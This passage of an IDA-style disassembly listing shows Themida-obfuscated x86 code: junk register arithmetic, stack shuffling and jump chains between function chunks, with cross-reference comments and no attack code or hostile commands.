		jmp	loc_58C97F
; ---------------------------------------------------------------------------


loc_58F304:				; CODE XREF: Themida_:0058E869j
		neg	edi
		xor	edi, 0A01AE222h
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F31E:				; CODE XREF: sub_585452+7B92j
		pop	esp
		pop	edi
		push	ebp
		push	edi
		mov	edi, 4D773D9Bh
		push	edi
		pop	ebp
		pop	edi
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ebp, edi
		jmp	loc_58E54E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58F337:				; CODE XREF: sub_58999B-1F7Fj
		sub	bl, dh
		sub	bl, 9
		sub	bl, 0AFh
		jmp	loc_58D4B0
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F344:				; CODE XREF: sub_585452+2053j
		add	edx, 59DE34A3h
		add	ebx, edx
		mov	edx, [esp-1Ah+arg_16]
		add	esp, 4
		push	eax
		mov	eax, 2
		jmp	loc_58701A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F360:				; CODE XREF: Themida_:0058CE06j
		add	esp, 2
		add	bl, 20h
		jmp	loc_58A02A
; ---------------------------------------------------------------------------


loc_58F36B:				; CODE XREF: Themida_:0058A492j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		jmp	loc_583F23
; ---------------------------------------------------------------------------


loc_58F382:				; CODE XREF: Themida_:0058AA6Bj
		sub	bl, 0DBh
		add	bl, dh
		push	ecx
		mov	ch, 2Eh
		shl	ch, 8
		xor	ch, 0DBh
		add	bl, ch
		pop	ecx
		pop	edx
		push	ecx
		mov	cl, 2
		add	cl, 7
		add	cl, 0C6h
		inc	cl
		add	cl, 5Fh
		add	bl, cl
		pop	ecx
		push	78B1h
		mov	[esp], eax
		mov	al, 2Bh
		sub	bl, al
		jmp	loc_58C349
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_58F3B6:				; CODE XREF: sub_58BE98-27Fj
		dec	edi
		jmp	loc_586935
; END OF FUNCTION CHUNK	FOR sub_58BE98

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58F3BC	proc near		; CODE XREF: sub_585452-EBFj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0058406A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00587B5C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00587BD7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00588584 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005886A4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00589223 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00589A9D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058F27E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F4AB SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		pop	dword ptr [esp+0]
		pop	ebx
		xor	eax, ebx
		jmp	loc_58F4AB
sub_58F3BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F3DA:				; CODE XREF: sub_585452+A7CDj
		push	edi
		jmp	loc_584FA4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7977h
		mov	[esp], ecx
		jmp	loc_5859B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5A3


loc_58F3F1:				; CODE XREF: sub_58A5A3-2894j
		push	eax
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F3F8:				; CODE XREF: sub_585452+4165j
		pop	eax
		jmp	loc_588116
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F3FE:				; CODE XREF: Themida_:005851F4j
		dec	cl
		not	cl
		not	cl
		inc	cl
		add	cl, 17h
		sub	al, cl
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_589C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F416:				; CODE XREF: sub_585452+990j
		dec	[esp+46h+var_48+2]
		pushf
		jmp	loc_58AD86
; ---------------------------------------------------------------------------


loc_58F41F:				; CODE XREF: sub_585452+80Fj
		mov	[esp-0Ch+arg_8], edi
		push	edx
		push	36E73A7h
		pop	edx
		or	edx, 59B95429h
		neg	edx
		jmp	loc_5872EE
; ---------------------------------------------------------------------------


loc_58F436:				; CODE XREF: sub_585452+6Dj
		add	edx, ebx
		add	edx, 7EEE0BDAh
		add	edx, 134B3EC4h
		pop	ebx
		sub	edx, 0BDFAD1F0h
		add	eax, 5B21063Fh
		add	eax, edx
		push	ebp
		mov	ebp, 5B21063Fh
		jmp	loc_58F97E
; ---------------------------------------------------------------------------


loc_58F45D:				; CODE XREF: sub_585452+62D9j
		shr	bl, 6
		jmp	loc_58A707
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F465:				; CODE XREF: Themida_:0058C06Dj
		add	bx, si
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		add	bx, ax
		sub	bx, 141Bh
		movzx	eax, ax
		push	3180h
		mov	[esp], edi
		jmp	loc_58DDA8

; =============== S U B	R O U T	I N E =======================================



sub_58F487	proc near		; CODE XREF: sub_585452+4B5Cj
		push	ebx
		mov	ebx, 2789117Ah
		xor	edi, ebx
		pop	ebx
		add	edx, 66F21A8Ch
		add	edx, edi
		jmp	sub_58E1AF
sub_58F487	endp

; ---------------------------------------------------------------------------


loc_58F49D:				; CODE XREF: Themida_:0058FA93j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_585763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_58F4AB:				; CODE XREF: sub_58F3BC+19j
		xor	ebx, eax
		jmp	loc_587B5C
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58F4B2:				; CODE XREF: sub_58FA66-806Bj
		add	eax, 4
		jmp	loc_58B93D
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F4C4:				; CODE XREF: sub_585452+907j
		pop	edi
		jmp	loc_58D2B4
; ---------------------------------------------------------------------------


loc_58F4CA:				; CODE XREF: sub_585452+7F37j
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58F4CF:				; CODE XREF: sub_587574+5A27j
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		push	0E7Fh
		mov	[esp-4+arg_0], eax
		push	[esp-4+arg_0]
		pop	ebx
		push	3EC4h
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 35AB24D3h
		jmp	loc_588732
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		jmp	loc_584DA1
; ---------------------------------------------------------------------------


loc_58F506:				; CODE XREF: Themida_:0058A535j
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F50B:				; CODE XREF: sub_585452+6F8Dj
		xor	eax, 0D31524CDh
		jmp	sub_583C38
; ---------------------------------------------------------------------------


loc_58F515:				; CODE XREF: sub_585452+8A5j
		pop	ebx
		sub	edx, 37D14645h
		add	edx, 3FE81B79h
		sub	edx, eax
		push	0C87h
		mov	[esp-24h+arg_1E+2], ebx
		jmp	loc_587ABC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F531:				; CODE XREF: Themida_:0058981Bj
		push	esi
		push	1357h
		mov	[esp], esp
		jmp	loc_5855A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F53F:				; CODE XREF: sub_585452+25Bj
		mov	ecx, 5CD23666h
		jmp	loc_588B38
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F549:				; CODE XREF: Themida_:0058E876j
		xor	esi, 0C97EB73Eh
		jmp	loc_586ACE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F554:				; CODE XREF: sub_585452+4555j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58A037
; ---------------------------------------------------------------------------


loc_58F565:				; CODE XREF: sub_585452+350Dj
		xor	edx, 30E860C6h
		sub	edx, 627807D0h
		sub	edx, 0CE70135Dh
		mov	edi, edx
		pop	edx
		shl	edi, 8
		shr	edi, 8
		push	edx
		mov	edx, 1B2EFABFh
		add	edi, edx
		pop	edx
		sub	edx, 8C03182h
		sub	edx, edi
		push	ecx
		mov	ecx, 232776D4h
		jmp	loc_58D85F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F59C:				; CODE XREF: Themida_:0058AA61j
		mov	[esp], edx
		push	ebx
		mov	bl, 0D4h
		jmp	loc_5850CF
; ---------------------------------------------------------------------------


loc_58F5A7:				; CODE XREF: Themida_:0058F11Ej
		add	ecx, 0DBB8F3C3h
		shr	ecx, 2
		sub	ecx, 26700497h
		xor	ecx, 0EE7E184Bh
		add	esi, ecx
		jmp	loc_58CEBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58F5C3:				; CODE XREF: sub_58F728-94CBj
		shr	edx, 1
		sub	edx, 4C8E0586h
		xor	edx, 75637277h
		shl	edx, 6
		xor	edx, 7B4E3600h
		and	eax, edx
		jmp	loc_5892C3
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F5E1:				; CODE XREF: sub_585452-E4j
		pop	ebx
		add	edx, 37D14645h
		mov	eax, [esp-6+arg_0+2]
		jmp	loc_588AF3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58F5F0:				; CODE XREF: sub_587574-A30j
		xor	eax, 6FAA78A9h
		sub	ebp, eax
		jmp	loc_58CF97
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F5FC:				; CODE XREF: sub_585452+7CAj
		add	edi, ebp
		pop	ebp
		jmp	loc_58C628
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F604:				; CODE XREF: Themida_:005848AEj
		sub	edx, ebx
		pop	ebx
		xor	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	5127h
		mov	[esp], ebp
		mov	ebp, 4B650135h
		mov	edx, 274200DAh
		xor	edx, ebp
		pop	ebp
		neg	edx
		shl	edx, 8
		neg	edx
		shr	edx, 3
		push	ebx
		mov	ebx, 45AC6D38h
		jmp	loc_58AA8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_58F63D:				; CODE XREF: sub_589FD5-1B83j
		pop	esi
		pop	[esp-8+arg_4]
		jmp	loc_587CB7
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_58A072
; ---------------------------------------------------------------------------


loc_58F650:				; CODE XREF: Themida_:0058C61Bj
		push	edi
		mov	edi, 261B3F81h
		xor	edx, edi
		pop	edi
		shr	edx, 3
		jmp	loc_58F26E
; ---------------------------------------------------------------------------


loc_58F661:				; CODE XREF: Themida_:00586B2Cj
		push	esi
		mov	esi, 767A5A42h
		xor	esi, 767A5A43h
		add	eax, esi
		jmp	loc_5879C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58F674:				; CODE XREF: sub_58FA66-A7E7j
		mov	eax, esp
		jmp	loc_5840A7
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58F67B:				; CODE XREF: Themida_:0058A813j
		push	ecx
		mov	ecx, 4
		jmp	loc_58E1D1
; ---------------------------------------------------------------------------


loc_58F686:				; CODE XREF: Themida_:0058530Cj
		sub	dx, cx
		jmp	loc_58CCC6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_585DE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F699:				; CODE XREF: sub_585452+4FA2j
		push	[esp+0Eh+var_10+2]
		pop	eax
		add	esp, 4
		mov	edi, [esp+0Ah+var_C+2]
		jmp	loc_585245
; ---------------------------------------------------------------------------


loc_58F6AB:				; CODE XREF: sub_585452+30Cj
		pop	ecx
		add	edi, eax
		add	edi, 41F04340h
		pop	eax
		add	edi, 4
		xor	edi, [esp+12h+var_14+2]
		jmp	loc_58CC23
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586650


loc_58F6C0:				; CODE XREF: sub_586650-218Aj
		mov	eax, [esp+4+var_4]
		jmp	loc_58E19D
; END OF FUNCTION CHUNK	FOR sub_586650
; ---------------------------------------------------------------------------


loc_58F6C8:				; CODE XREF: Themida_:0058504Fj
		push	esp
		pop	edi
		jmp	loc_58F87A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58F6CF:				; CODE XREF: sub_58EFBD-7A3Bj
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 3E373FB4h
		push	eax
		push	35B34D0Ch
		pop	eax
		xor	eax, 73237EC3h
		add	eax, 3890978h
		xor	eax, 1A2F73CBh
		sub	eax, 11FF0EDCh
		jmp	loc_584B9A
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F709:				; CODE XREF: sub_585452+2E56j
		push	[esp-0Ah+arg_4+2]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58CAED
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58F71E:				; CODE XREF: sub_58EFBD-A420j
		xor	ebp, edi
		pop	edi
		add	edi, ebp
		jmp	loc_5856D7
; END OF FUNCTION CHUNK	FOR sub_58EFBD

; =============== S U B	R O U T	I N E =======================================



sub_58F728	proc near		; CODE XREF: sub_58B758-471Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005847B2 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00586256 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005864C4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00587101 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00587868 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00587BCA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587BF4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005892C3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058940D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00589987 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B266 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058B3A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B622 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B863 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BABA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D4D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D9E6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F5C3 SIZE 0000001E BYTES

		push	ebp
		mov	ebp, 0C0493963h
		jmp	loc_58940D
sub_58F728	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_58F733:				; CODE XREF: sub_58BCA7-12BFj
		pop	ebx
		shr	esi, 2
		shr	esi, 8
		inc	esi
		and	esi, 16010D2Ch
		neg	esi
		add	esi, 1090Ch
		add	ebx, esi
		pop	esi
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		jmp	loc_589CBF
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F760:				; CODE XREF: sub_585452+36F0j
		mov	edx, 2AD28E22h
		xor	ebp, edx
		jmp	loc_584164
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F76C:				; CODE XREF: Themida_:0058955Fj
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_586842
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F777:				; CODE XREF: sub_585452+157Bj
		pop	ecx
		sub	ebx, edx
		jmp	loc_58EDC3
; ---------------------------------------------------------------------------


loc_58F77F:				; CODE XREF: sub_585452+A5F3j
		sub	al, ch
		mov	ecx, [esp+42h+var_44+2]
		push	edx
		jmp	loc_588D14
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_584B7A
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	1450h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58427E
; ---------------------------------------------------------------------------


loc_58F7BC:				; CODE XREF: Themida_:00587CB2j
		push	edi
		push	edx
		mov	edx, 684C77F7h
		add	[esp+4], edx
		pop	edx
		pop	ebx
		sub	ebx, 684C77F7h
		pop	edi
		push	0C4Ch
		mov	[esp], ebp
		push	ebx
		mov	ebx, 3CCB3521h
		mov	ebp, 9A25392h
		xor	ebp, ebx
		jmp	loc_584525
; ---------------------------------------------------------------------------


loc_58F7EA:				; CODE XREF: Themida_:00587FEBj
		push	small 0
		jmp	loc_58EB63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585019


loc_58F7F3:				; CODE XREF: sub_585019+Cj
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_5849B0
; END OF FUNCTION CHUNK	FOR sub_585019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F7FF:				; CODE XREF: sub_585452-11A7j
		push	dword ptr [edi+eax*4]
		push	ecx
		push	3FCh
		pop	ecx
		push	37BCh
		mov	[esp+4+var_4], ebp
		mov	ebp, 731B6C59h
		add	edi, ebp
		pop	ebp
		sub	edi, 5C37137Ch
		sub	edi, ecx
		add	edi, 5C37137Ch
		sub	edi, 731B6C59h
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		push	3220h
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_58C128
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F858:				; CODE XREF: Themida_:00588CC0j
		pop	edi
		xor	eax, ebx
		jmp	loc_587300
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F860:				; CODE XREF: sub_585452+A73Bj
		not	[esp+4+var_4]
		pop	eax
		xchg	eax, [esp+0]
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_58C8B5
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F870:				; CODE XREF: Themida_:005846F0j
		pop	esp
		mov	[esp], ebx
		push	edi
		jmp	loc_58B06A
; ---------------------------------------------------------------------------


loc_58F87A:				; CODE XREF: Themida_:0058F6CAj
		add	edi, 4
		jmp	loc_5874C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F885:				; CODE XREF: sub_585452+80FEj
		shl	ebx, 7
		jmp	loc_58CE3A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58FABB
; ---------------------------------------------------------------------------


loc_58F89C:				; CODE XREF: Themida_:0058BBE4j
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		push	eax
		mov	eax, 4
		mov	edi, eax
		jmp	loc_588621
; ---------------------------------------------------------------------------
		xor	[esp], bp
		xor	bp, [esp]
		jmp	loc_58B7D4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		jmp	loc_58EE97
; ---------------------------------------------------------------------------


loc_58F8D6:				; CODE XREF: Themida_:0058A897j
		pop	edx
		add	edx, 4
		push	ebx
		jmp	loc_5891E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F8E3:				; CODE XREF: sub_585452+8BDEj
		push	ecx
		mov	ecx, 7A591BB8h
		and	ecx, 0FD1239Eh
		or	ecx, 3070552Ah
		push	5619h
		mov	[esp+4+var_4], esi
		mov	esi, 3A7157B6h
		sub	ecx, 48403F86h
		sub	ecx, esi
		add	ecx, 48403F86h
		mov	esi, [esp+4+var_4]
		jmp	loc_58B3E3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58905F


loc_58F918:				; CODE XREF: sub_58905F-4134j
		xor	ebp, 76D3BBD0h
		jmp	loc_58D4E0
; END OF FUNCTION CHUNK	FOR sub_58905F

; =============== S U B	R O U T	I N E =======================================



sub_58F923	proc near		; CODE XREF: sub_585452+CF0j

; FUNCTION CHUNK AT 005841F6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00589371 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, 1E211ECh
		push	eax
		jmp	loc_5841F6
sub_58F923	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F92F:				; CODE XREF: sub_585452+5BADj
		add	ebp, edx
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		xchg	ebp, [esp+2+var_4+2]
		pop	esp
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		push	eax
		mov	eax, 21FD7696h
		neg	eax
		push	edx
		mov	edx, 4F4871A0h
		dec	edx
		jmp	loc_58EB1D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586F2E


loc_58F958:				; CODE XREF: sub_586F2E+2430j
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		shl	[esp-4+arg_0], cl
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_586F2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F968:				; CODE XREF: sub_585452+10BFj
		shr	bl, 6
		jmp	loc_5870B0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	ecx
		push	169h
		mov	[esp], edx
		jmp	loc_58FD75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F97E:				; CODE XREF: sub_585452+A006j
		sub	eax, ebp
		pop	ebp
		pop	edx
		jmp	loc_5842C3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F987:				; CODE XREF: Themida_:00589177j
		mov	ebp, 0D916083h
		mov	eax, 41047CE8h
		jmp	loc_5857AB
; ---------------------------------------------------------------------------


loc_58F996:				; CODE XREF: Themida_:0058EADFj
		pop	eax
		push	ecx
		jmp	loc_58DDD9
; ---------------------------------------------------------------------------


loc_58F99D:				; CODE XREF: Themida_:00585001j
		push	edx
		mov	edx, 6B22498Fh
		not	edx
		push	esi
		mov	esi, 75066C51h
		or	esi, 1D1524C0h
		push	eax
		push	ebx
		push	57B67127h
		pop	ebx
		add	ebx, 90834538h
		mov	eax, ebx
		pop	ebx
		sub	esi, eax
		pop	eax
		xor	edx, esi
		pop	esi
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58F9E4:				; CODE XREF: Themida_:0058C828j
		mov	dh, 1Ah
		or	dh, 0FCh
		dec	dh
		shr	dh, 6
		jmp	loc_58D57F
; ---------------------------------------------------------------------------


loc_58F9F3:				; CODE XREF: Themida_:00585064j
		add	al, 44h
		mov	bh, al
		pop	eax
		jmp	loc_5870BF
; ---------------------------------------------------------------------------


loc_58F9FD:				; CODE XREF: Themida_:0058B898j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58901D
; ---------------------------------------------------------------------------


loc_58FA0B:				; CODE XREF: Themida_:0058F1ACj
		sub	al, 0EAh
		pop	ecx
		jmp	loc_584E6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FA13:				; CODE XREF: sub_585452-7EAj
		add	al, 3Ch
		jmp	sub_58DA2E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FA1A:				; CODE XREF: Themida_:00589F88j
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		xor	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_58C7CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EDD1


loc_58FA38:				; CODE XREF: sub_58EDD1+9j
		or	bl, 0C5h
		push	ecx
		mov	ch, 15h
		jmp	loc_58DFA7
; END OF FUNCTION CHUNK	FOR sub_58EDD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FA43:				; CODE XREF: sub_585452+6776j
		pop	bx
		jmp	loc_58F77F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FA4A:				; CODE XREF: Themida_:00585EC1j
		sub	edx, 39DD2292h
		mov	esi, [esp]
		jmp	loc_5885D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FA58:				; CODE XREF: sub_585452+795j
		pop	edi
		push	4428h
		mov	[esp-4+arg_0], eax
		jmp	loc_583CF6
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58FA66	proc near		; CODE XREF: sub_585452+779Dj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00583E75 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005840A7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00584757 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00584B6B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00584DA7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00585111 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00585263 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00585373 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005860E8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005862D9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586B67 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00586E95 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00586FCA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005879F3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587FC8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00589151 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00589635 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00589A02 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00589D0E SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058A4D4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058A662 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058AAA1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058AF03 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058AFCD SIZE 0000001C BYTES
